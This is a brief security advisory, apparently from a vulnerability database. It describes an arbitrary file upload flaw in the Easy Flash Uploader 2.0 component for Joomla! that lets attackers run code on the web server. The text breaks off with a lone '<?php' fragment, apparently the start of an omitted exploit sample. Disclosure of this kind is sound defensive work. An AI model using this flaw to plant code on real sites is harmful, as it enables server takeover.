The Easy Flash Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.
Easy Flash Uploader 2.0is vulnerable; other versions may also be affected.<?php
